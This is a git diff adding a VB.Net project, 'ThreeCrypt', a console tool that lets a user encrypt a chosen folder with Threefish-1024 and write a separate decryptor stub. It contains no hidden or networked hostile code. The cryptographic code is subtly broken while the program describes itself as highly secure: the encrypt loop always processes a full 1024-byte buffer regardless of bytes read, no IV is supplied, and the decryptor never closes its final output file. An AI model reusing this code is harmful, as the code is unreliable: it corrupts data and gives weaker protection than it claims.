{246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Debug|x86.Build.0 = Debug|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Release|Any CPU.ActiveCfg = Release|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Release|Any CPU.Build.0 = Release|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Release|x86.ActiveCfg = Release|Any CPU + {246A4BC3-7A48-4AB5-BA8A-A45CB74169D7}.Release|x86.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (ThreeCrypt/ThreeCrypt/App.config b/scode (ThreeCrypt/ThreeCrypt/App.config new file mode 100644 index 0000000..88fa402 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCrypt/Functions.vb b/scode (ThreeCrypt/ThreeCrypt/Functions.vb new file mode 100644 index 0000000..32f34d6 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/Functions.vb @@ -0,0 +1,105 @@ +Imports System.IO +Imports System.Text +Imports Org.BouncyCastle.Crypto +Imports Org.BouncyCastle.Crypto.Modes +Imports Org.BouncyCastle.Utilities.Encoders +Imports Org.BouncyCastle.Crypto.Paddings +Imports Org.BouncyCastle.Crypto.Engines +Imports Org.BouncyCastle.Crypto.Parameters + +Public Class Functions + Public Shared Sub Print(ByVal message As String, Optional ByVal color As ConsoleColor = ConsoleColor.Gray) + Console.ForegroundColor = color + Console.WriteLine(message) + Console.ForegroundColor = ConsoleColor.Gray + End Sub + + Public Shared Function GetFilesRecursive(ByVal initial As String) As List(Of String) + Dim result As New List(Of String) + Dim stack As New Stack(Of String) + stack.Push(initial) + Do While (stack.Count > 0) + Dim dir As String = stack.Pop + Try + result.AddRange(Directory.GetFiles(dir, "*.*")) + Dim directoryName As String + For Each directoryName In Directory.GetDirectories(dir) + stack.Push(directoryName) + Next + Catch ex As Exception + End Try + Loop + Return result + End Function + + Public Shared Function GetInput() As String + Console.CursorVisible = True + Dim retVal As String = Console.ReadLine() + Console.CursorVisible = False + Return retVal + End Function + + Public Shared Function PerformEncrypt(inByte As Byte(), key As Byte()) As String + Dim outStr As New MemoryStream() + Dim cipher As New PaddedBufferedBlockCipher(New CbcBlockCipher(New ThreefishEngine(1024))) + + cipher.Init(True, New KeyParameter(key)) + + Dim inBlockSize As Integer = 1024 + Dim outBlockSize As Integer = cipher.GetOutputSize(inBlockSize) + + Dim outblock As Byte() = New Byte(outBlockSize - 1) {} + + Dim outl As Integer + outl = cipher.ProcessBytes(inByte, 0, inBlockSize, outblock, 0) + + If outl > 0 Then + Hex.Encode(outblock, 0, outl, outStr) + End If + + Try + outl = cipher.DoFinal(outblock, 0) + If outl > 0 Then + Hex.Encode(outblock, 0, outl, outStr) + End If + + Catch generatedExceptionName As CryptoException + MsgBox(generatedExceptionName.Message) + End Try + Return Convert.ToBase64String(outStr.ToArray()) + End Function + + Public Shared Function PerformDecrypt(inStr As String, key As Byte()) As Byte() + Dim outMs As New MemoryStream() + Dim cipher As New PaddedBufferedBlockCipher(New CbcBlockCipher(New ThreefishEngine(1024))) + cipher.Init(False, New KeyParameter(key)) + + Dim outL As Integer + Dim inblock, outblock As Byte() + + inblock = Hex.Decode(Convert.FromBase64String(inStr)) + outblock = New Byte(cipher.GetOutputSize(inblock.Length) - 1) {} + + outL = cipher.ProcessBytes(inblock, 0, inblock.Length, outblock, 0) + + If outL > 0 Then + outMs.Write(outblock, 0, outL) + End If + + Try + outL = cipher.DoFinal(outblock, 0) + If outL > 0 Then + outMs.Write(outblock, 0, outL) + End If + + Catch generatedExceptionName As CryptoException + MsgBox(generatedExceptionName.Message) + End Try + Return outMs.ToArray() + End Function + + Public Shared Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T + target = value + Return value + End Function +End Class \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCrypt/Main.vb b/scode (ThreeCrypt/ThreeCrypt/Main.vb new file mode 100644 index 0000000..e8ae5cf --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/Main.vb @@ -0,0 +1,137 @@ +Imports System.IO +Imports System.Text +Imports System.Windows.Forms +Imports Org.BouncyCastle.Crypto +Imports Org.BouncyCastle.Security +Imports ThreeCrypt.Functions + +Module Main + ' A VB.Net Implementation of the ThreeFish Algorithm... + ' ------ + ' The intention of this program is to encrypt a set group of files + ' and preserve the folder structure. The encryption is using the 1024 + ' bit implementation of ThreeFish. To preserve minimal RAM overhead, + ' this program writes as it encrypts in 1024 byte chunks. + ' ------ + ' If you use or modify this please leave credits to it's origional creator. + ' Happy encrypting :^) + ' ~Killpot + Dim _hashedPassword, _passwordPath, _folderPath, _outputPath As String + Sub Main() + Console.Title = "ThreeCrpyt" + Console.CursorVisible = False + Print("Welcome to ThreeCrypt, a highley secure VB.Net implementation of ThreeFish.", ConsoleColor.Cyan) + Print("If you enjoy this tool, please leave feedback to encourage further development on the project.", ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) +RePass: + Console.Clear() + Print("Please select a path to save your encryption key to...", ConsoleColor.Cyan) + + Using sfd As New SaveFileDialog() + sfd.Title = "Select the path to save your encryption key to..." + sfd.Filter = "Data Files (*.dat)|*.dat|All Files (*.*)|*.*" + + If sfd.ShowDialog() = DialogResult.OK And sfd.CheckPathExists Then + Print("Selected save path is: " + sfd.FileName, ConsoleColor.Cyan) + _passwordPath = sfd.FileName + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo RePass + End If + End Using + Dim sr As New SecureRandom() + Dim kgp = New KeyGenerationParameters(sr, 1024) + Dim kg As New CipherKeyGenerator() + kg.Init(kgp) + Dim key As Byte() = kg.GenerateKey() + + File.WriteAllBytes(_passwordPath, key) + _hashedPassword = Convert.ToBase64String(key) + + Print("Base64 Encoded Password: " + _hashedPassword, ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) +RePath: + Console.Clear() + Print("Now please select the directory to encrypt...", ConsoleColor.Cyan) + Using fbd As New FolderBrowserDialog() + fbd.Description = "Select the directory you wish to encrypt..." + If fbd.ShowDialog() = DialogResult.OK And My.Computer.FileSystem.DirectoryExists(fbd.SelectedPath) Then + Print("Selected path is: " + fbd.SelectedPath, ConsoleColor.Cyan) + _folderPath = fbd.SelectedPath + Else + Print("Path invalid, or no path inputed.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo RePath + End If + End Using + Print("Press any key to continue...") : Console.ReadKey(True) +ReSave: + Console.Clear() + Print("Please select where you would like to output the encrypted data to.", ConsoleColor.Cyan) + Using sfd As New SaveFileDialog() + sfd.Title = "Select the path to save the encrypted data to..." + sfd.Filter = "Data Files (*.dat)|*.dat|All Files (*.*)|*.*" + + If sfd.ShowDialog() = DialogResult.OK And sfd.CheckPathExists Then + Print("Selected save path is: " + sfd.FileName, ConsoleColor.Cyan) + _outputPath = sfd.FileName + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo ReSave + End If + End Using + Print("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("All preparations done, ready to begin encrypting.", ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("Building file list...", ConsoleColor.Cyan) + Dim fileList As List(Of String) = GetFilesRecursive(_folderPath) + Print("Done.", ConsoleColor.Green) + Dim stw As New Stopwatch + stw.Start() + Using sw As New StreamWriter(_outputPath, False) + For Each filePath As String In fileList + Print("Encrypting: " + New FileInfo(filePath).Name, ConsoleColor.Green) + Dim relativepath As Byte() = Encoding.ASCII.GetBytes(filePath.Replace(_folderPath, Nothing).TrimStart("\")) + sw.WriteLine(Convert.ToBase64String(relativepath) + ":") + Dim fs As Stream = File.OpenRead(filePath) + Dim inputBuffer As Byte() = New Byte(1023) {} + Dim rl As Integer + While (InlineAssignHelper(rl, fs.Read(inputBuffer, 0, 1024))) > 0 + sw.WriteLine(PerformEncrypt(inputBuffer, key)) + End While + Next + sw.Close() + End Using + stw.Stop() + Print("Encryption finished in: " + stw.Elapsed().ToString, ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) +reStub: + Console.Clear() + Print("Would you like to generate a decryption stub too? (y/n)", ConsoleColor.Cyan) + Select Case Console.ReadKey().KeyChar.ToString() + Case "y" +ReDS: + Using sfd As New SaveFileDialog + sfd.Title = "Select the path to save the decryption stub to..." + sfd.Filter = "Executable Files (*.exe)|*.exe|All Files (*.*)|*.*" + + If sfd.ShowDialog() = DialogResult.OK And sfd.CheckPathExists Then + Print("Selected save path is: " + sfd.FileName, ConsoleColor.Cyan) + System.IO.File.WriteAllBytes(sfd.FileName, My.Resources.ThreeCryptStub) + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo ReDS + End If + End Using + Case "n" + Exit Sub + Case Else + GoTo reStub + End Select + End Sub +End Module \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Application.Designer.vb b/scode (ThreeCrypt/ThreeCrypt/My Project/Application.Designer.vb new file mode 100644 index 0000000..88dd01c --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Application.myapp b/scode (ThreeCrypt/ThreeCrypt/My Project/Application.myapp new file mode 100644 index 0000000..e62f1a5 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + false + 0 + true + 0 + 2 + true + diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/AssemblyInfo.vb b/scode (ThreeCrypt/ThreeCrypt/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..b0c1eee --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.Designer.vb b/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.Designer.vb new file mode 100644 index 0000000..3063328 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("ThreeCrypt.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized resource of type System.Byte[]. + ''' + Friend ReadOnly Property ThreeCryptStub() As Byte() + Get + Dim obj As Object = ResourceManager.GetObject("ThreeCryptStub", resourceCulture) + Return CType(obj,Byte()) + End Get + End Property + End Module +End Namespace diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.resx b/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.resx new file mode 100644 index 0000000..1285372 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Resources.resx @@ -0,0 +1,124 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + ..\Resources\ThreeCryptStub.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.Designer.vb b/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.Designer.vb new file mode 100644 index 0000000..a0f375b --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If My.Application.SaveMySettingsOnExit Then + My.Settings.Save() + End If + End Sub +#End If +#End Region + + Public Shared ReadOnly Property [Default]() As MySettings + Get + +#If _MyType = "WindowsForms" Then + If Not addedHandler Then + SyncLock addedHandlerLockObject + If Not addedHandler Then + AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings + addedHandler = True + End If + End SyncLock + End If +#End If + Return defaultInstance + End Get + End Property + End Class +End Namespace + +Namespace My + + _ + Friend Module MySettingsProperty + + _ + Friend ReadOnly Property Settings() As Global.ThreeCrypt.My.MySettings + Get + Return Global.ThreeCrypt.My.MySettings.Default + End Get + End Property + End Module +End Namespace diff --git a/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.settings b/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.settings new file mode 100644 index 0000000..85b890b --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/My Project/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/scode (ThreeCrypt/ThreeCrypt/Resources/ThreeCryptStub.exe b/scode (ThreeCrypt/ThreeCrypt/Resources/ThreeCryptStub.exe new file mode 100644 index 0000000..15446d3 Binary files /dev/null and b/scode (ThreeCrypt/ThreeCrypt/Resources/ThreeCryptStub.exe differ diff --git a/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj b/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj new file mode 100644 index 0000000..b27a2e8 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj @@ -0,0 +1,148 @@ + + + + + Debug + AnyCPU + {F208AC23-B006-4C4C-813C-404A8D597E86} + Exe + ThreeCrypt.Main + ThreeCrypt + ThreeCrypt + 512 + Console + v4.5.2 + true + + + AnyCPU + true + full + true + true + bin\Debug\ + ThreeCrypt.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + AnyCPU + pdbonly + false + true + true + bin\Release\ + ThreeCrypt.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + + + On + + + Binary + + + Off + + + On + + + true + true + true + bin\x86\Debug\ + ThreeCrypt.xml + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + full + x86 + MinimumRecommendedRules.ruleset + true + + + true + bin\x86\Release\ + ThreeCrypt.xml + true + 42016,41999,42017,42018,42019,42032,42036,42020,42021,42022 + pdbonly + x86 + MinimumRecommendedRules.ruleset + true + + + + False + bin\x86\Debug\BouncyCastle.Crypto.dll + + + + + + + + + + + + + + + + + + + + + + + + + + + + True + Application.myapp + + + True + True + Resources.resx + + + True + Settings.settings + True + + + + + VbMyResourcesResXFileCodeGenerator + Resources.Designer.vb + My.Resources + Designer + + + + + MyApplicationCodeGenerator + Application.Designer.vb + + + SettingsSingleFileGenerator + My + Settings.Designer.vb + + + + + + + + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj.user b/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj.user new file mode 100644 index 0000000..9fcb30c --- /dev/null +++ b/scode (ThreeCrypt/ThreeCrypt/ThreeCrypt.vbproj.user @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCryptStub/App.config b/scode (ThreeCrypt/ThreeCryptStub/App.config new file mode 100644 index 0000000..88fa402 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCryptStub/Functions.vb b/scode (ThreeCrypt/ThreeCryptStub/Functions.vb new file mode 100644 index 0000000..32f34d6 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/Functions.vb @@ -0,0 +1,105 @@ +Imports System.IO +Imports System.Text +Imports Org.BouncyCastle.Crypto +Imports Org.BouncyCastle.Crypto.Modes +Imports Org.BouncyCastle.Utilities.Encoders +Imports Org.BouncyCastle.Crypto.Paddings +Imports Org.BouncyCastle.Crypto.Engines +Imports Org.BouncyCastle.Crypto.Parameters + +Public Class Functions + Public Shared Sub Print(ByVal message As String, Optional ByVal color As ConsoleColor = ConsoleColor.Gray) + Console.ForegroundColor = color + Console.WriteLine(message) + Console.ForegroundColor = ConsoleColor.Gray + End Sub + + Public Shared Function GetFilesRecursive(ByVal initial As String) As List(Of String) + Dim result As New List(Of String) + Dim stack As New Stack(Of String) + stack.Push(initial) + Do While (stack.Count > 0) + Dim dir As String = stack.Pop + Try + result.AddRange(Directory.GetFiles(dir, "*.*")) + Dim directoryName As String + For Each directoryName In Directory.GetDirectories(dir) + stack.Push(directoryName) + Next + Catch ex As Exception + End Try + Loop + Return result + End Function + + Public Shared Function GetInput() As String + Console.CursorVisible = True + Dim retVal As String = Console.ReadLine() + Console.CursorVisible = False + Return retVal + End Function + + Public Shared Function PerformEncrypt(inByte As Byte(), key As Byte()) As String + Dim outStr As New MemoryStream() + Dim cipher As New PaddedBufferedBlockCipher(New CbcBlockCipher(New ThreefishEngine(1024))) + + cipher.Init(True, New KeyParameter(key)) + + Dim inBlockSize As Integer = 1024 + Dim outBlockSize As Integer = cipher.GetOutputSize(inBlockSize) + + Dim outblock As Byte() = New Byte(outBlockSize - 1) {} + + Dim outl As Integer + outl = cipher.ProcessBytes(inByte, 0, inBlockSize, outblock, 0) + + If outl > 0 Then + Hex.Encode(outblock, 0, outl, outStr) + End If + + Try + outl = cipher.DoFinal(outblock, 0) + If outl > 0 Then + Hex.Encode(outblock, 0, outl, outStr) + End If + + Catch generatedExceptionName As CryptoException + MsgBox(generatedExceptionName.Message) + End Try + Return Convert.ToBase64String(outStr.ToArray()) + End Function + + Public Shared Function PerformDecrypt(inStr As String, key As Byte()) As Byte() + Dim outMs As New MemoryStream() + Dim cipher As New PaddedBufferedBlockCipher(New CbcBlockCipher(New ThreefishEngine(1024))) + cipher.Init(False, New KeyParameter(key)) + + Dim outL As Integer + Dim inblock, outblock As Byte() + + inblock = Hex.Decode(Convert.FromBase64String(inStr)) + outblock = New Byte(cipher.GetOutputSize(inblock.Length) - 1) {} + + outL = cipher.ProcessBytes(inblock, 0, inblock.Length, outblock, 0) + + If outL > 0 Then + outMs.Write(outblock, 0, outL) + End If + + Try + outL = cipher.DoFinal(outblock, 0) + If outL > 0 Then + outMs.Write(outblock, 0, outL) + End If + + Catch generatedExceptionName As CryptoException + MsgBox(generatedExceptionName.Message) + End Try + Return outMs.ToArray() + End Function + + Public Shared Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T + target = value + Return value + End Function +End Class \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCryptStub/Main.vb b/scode (ThreeCrypt/ThreeCryptStub/Main.vb new file mode 100644 index 0000000..76d8854 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/Main.vb @@ -0,0 +1,96 @@ +Imports System.IO +Imports System.Text +Imports System.Windows.Forms +Imports ThreeCryptStub.Functions +Module Main + Dim _folderPath, _dataPath, _outputPath As String + Dim _key As Byte() + Sub Main() + Console.Title = "ThreeCrypt Decryptor" + Console.CursorVisible = False + Print("Welcome to ThreeCrypt Decryptor, this tool will decrypt any key and data combinations that were generated by ThreeCrypt.", ConsoleColor.Cyan) + Console.WriteLine("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("Select the data file...", ConsoleColor.Cyan) + + Using ofd As New OpenFileDialog() +ReDD: + ofd.Title = "Select the path to the data..." + ofd.Filter = "Data Files (*.dat)|*.dat|All Files (*.*)|*.*" + + If ofd.ShowDialog() = DialogResult.OK And ofd.CheckPathExists Then + Print("Selected data path is: " + ofd.FileName, ConsoleColor.Cyan) + _dataPath = ofd.FileName + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo ReDD + End If + End Using + + Console.WriteLine("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("Select the key file...", ConsoleColor.Cyan) + + Using ofd As New OpenFileDialog() +ReFD: + ofd.Title = "Select the path to the key..." + ofd.Filter = "Data Files (*.dat)|*.dat|All Files (*.*)|*.*" + + If ofd.ShowDialog() = DialogResult.OK And ofd.CheckPathExists Then + Print("Selected key path is: " + ofd.FileName, ConsoleColor.Cyan) + _key = IO.File.ReadAllBytes(ofd.FileName) + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo ReFD + End If + End Using + + Console.WriteLine("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("Select the folder to output the files to...", ConsoleColor.Cyan) + + Using fbd As New FolderBrowserDialog() +ReFB: + fbd.Description = "Select the path to output the files to..." + If fbd.ShowDialog() = DialogResult.OK And My.Computer.FileSystem.DirectoryExists(fbd.SelectedPath) Then + Print("Selected path is: " + fbd.SelectedPath, ConsoleColor.Cyan) + _folderPath = fbd.SelectedPath() + Else + Print("Path invalid, or no path included.") + Print("Press any key to continue...") : Console.ReadKey(True) + GoTo ReFB + End If + End Using + Print("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Print("All preparations done, ready to begin decryption.", ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) + Console.Clear() + Dim thisfile As String = Nothing + Dim stw As New Stopwatch + stw.Start() + Using srw As New StreamReader(_dataPath) + Dim thisline As String = Nothing + Dim sw As BinaryWriter + While (InlineAssignHelper(thisline, srw.ReadLine)) IsNot Nothing + If thisline.Contains(":") Then + thisfile = Path.Combine(_folderPath, Encoding.ASCII.GetString(Convert.FromBase64String(thisline.Replace(":", "")))) + Directory.CreateDirectory(New FileInfo(thisfile).Directory.FullName) + Print("Decrypting: " + New FileInfo(thisfile).Name, ConsoleColor.Green) + Try + sw.Close() + Catch ex As Exception + End Try + sw = New BinaryWriter(File.Create(thisfile)) + Else + sw.Write(PerformDecrypt(thisline, _key)) + End If + End While + End Using + stw.Stop() + Print("All files decrypted in: " + stw.Elapsed.ToString(), ConsoleColor.Cyan) + Print("Press any key to continue...") : Console.ReadKey(True) + End Sub +End Module \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.Designer.vb b/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.Designer.vb new file mode 100644 index 0000000..88dd01c --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.Designer.vb @@ -0,0 +1,13 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.myapp b/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.myapp new file mode 100644 index 0000000..e62f1a5 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + false + false + 0 + true + 0 + 2 + true + diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/AssemblyInfo.vb b/scode (ThreeCrypt/ThreeCryptStub/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..36f0955 --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.Designer.vb b/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.Designer.vb new file mode 100644 index 0000000..fad270c --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.Designer.vb @@ -0,0 +1,62 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("ThreeCryptStub.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set(ByVal value As Global.System.Globalization.CultureInfo) + resourceCulture = value + End Set + End Property + End Module +End Namespace diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.resx b/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.resx new file mode 100644 index 0000000..af7dbeb --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.Designer.vb b/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.Designer.vb new file mode 100644 index 0000000..78286ce --- /dev/null +++ b/scode (ThreeCrypt/ThreeCryptStub/My Project/Settings.Designer.vb @@ -0,0 +1,73 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.42000 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + _ + Partial Friend NotInheritable Class MySettings + Inherits Global.System.Configuration.ApplicationSettingsBase + + Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings), MySettings) + +#Region "My.Settings Auto-Save Functionality" +#If _MyType = "WindowsForms" Then + Private Shared addedHandler As Boolean + + Private Shared addedHandlerLockObject As New Object + + _ + Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs) + If 